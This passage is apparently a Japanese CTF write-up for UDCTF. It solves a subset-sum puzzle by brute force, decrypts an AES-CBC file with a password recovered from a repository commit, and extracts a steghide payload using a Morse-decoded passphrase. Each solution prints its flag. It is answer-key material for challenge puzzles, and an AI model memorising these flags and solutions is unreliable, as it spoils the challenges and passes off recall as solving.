[19728964, 30673077, 137289540, 195938621, 207242611, 237735979, 298141799, 302597011, 387047012, 405520686, 424852916, 461998372, 463977415, 528505766, 557896298, 603269308, 613528675, 621228168, 654758801, 670668388, 741571487, 753993381, 763314787, 770263388, 806543382, 864409584, 875042623, 875651556, 918697500, 946831967]
7627676296

30個中15個を選択して結果を出しているので、ブルートフォースでwinnersの合計値が合うものを探す。

#!/usr/bin/env python3
import itertools

choices = [19728964, 30673077, 137289540, 195938621, 207242611, 237735979, 298141799, 302597011, 387047012, 405520686, 424852916, 461998372, 463977415, 528505766, 557896298, 603269308, 613528675, 621228168, 654758801, 670668388, 741571487, 753993381, 763314787, 770263388, 806543382, 864409584, 875042623, 875651556, 918697500, 946831967]
target = 7627676296

indexes = list(range(30))

for idx in itertools.combinations(indexes, 15):
    winners = []
    for i in idx:
        winners.append(choices[i])
    if sum(winners) == target:
        winners.sort()
        flag = "UDCTF{%s}" % ("_".join(map(str, winners)))
        print(flag)
        break
UDCTF{19728964_30673077_137289540_195938621_237735979_302597011_463977415_603269308_654758801_670668388_763314787_806543382_875651556_918697500_946831967}

unbreakable (CRYPTO)

enc.pyは以下のように書いてある。

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(16)

with open("flag.txt","r") as f:
    flag = f.read().strip().encode()

iv = os.urandom(AES.block_size)

ct = AES.new(key,AES.MODE_CBC,iv).encrypt(pad(flag,AES.block_size))

with open("flag.enc","wb") as f:
    f.write(iv + ct)

「removed password from repo」のCommitを見ると以下のようになっている。

key = hashlib.sha256(b"tasciewapeoiu").digest()

このkeyを使って復号する。

#!/usr/bin/env python3
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('flag.enc', 'rb') as f:
    ct = f.read()

iv = ct[:16]
ct = ct[16:]

key = hashlib.sha256(b"tasciewapeoiu").digest()
cipher = AES.new(key,AES.MODE_CBC,iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
UDCTF{N0th1ng_pr0t3cts_4gainst_5l0ppiness}

Hide n Seek (CRYPTO)

LOLisCapatlized.wavを聞くと、モールス信号になっている。
https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。

GIVEMETHEFLAGLOL

ファイル名から考えると、LOLのみ大文字にする必要がある。これをパスフレーズとして、steghideで秘密データを抽出する。

$ steghide extract -sf STEG_O_SAURS.jpeg -p givemetheflagLOL
wrote extracted data to "flaglol.txt".
$ cat flaglol.txt     
UDCTF{01111001 01000000 01010101 01011111 01100011 01000001 01011110 01101110 01011111 01101000 00100001 01100100 00110011 00111111 01011111 01101100 01001111 01101100 01011111 01110011 01010100 00110011 01000111 01101111}

{} の中の2進数をデコードする。

>>> codes = '01111001 01000000 01010101 01011111 01100011 01000001 01011110 01101110 01011111 01101000 00100001 01100100 00110011 00111111 01011111 01101100 01001111 01101100 01011111 01110011 01010100 00110011 01000111 01101111'.split(' ')
>>> ''.join([chr(int(code, 2)) for code in codes])
'y@U_cA^n_h!d3?_lOl_sT3Go'
UDCTF{y@U_cA^n_h!d3?_lOl_sT3Go}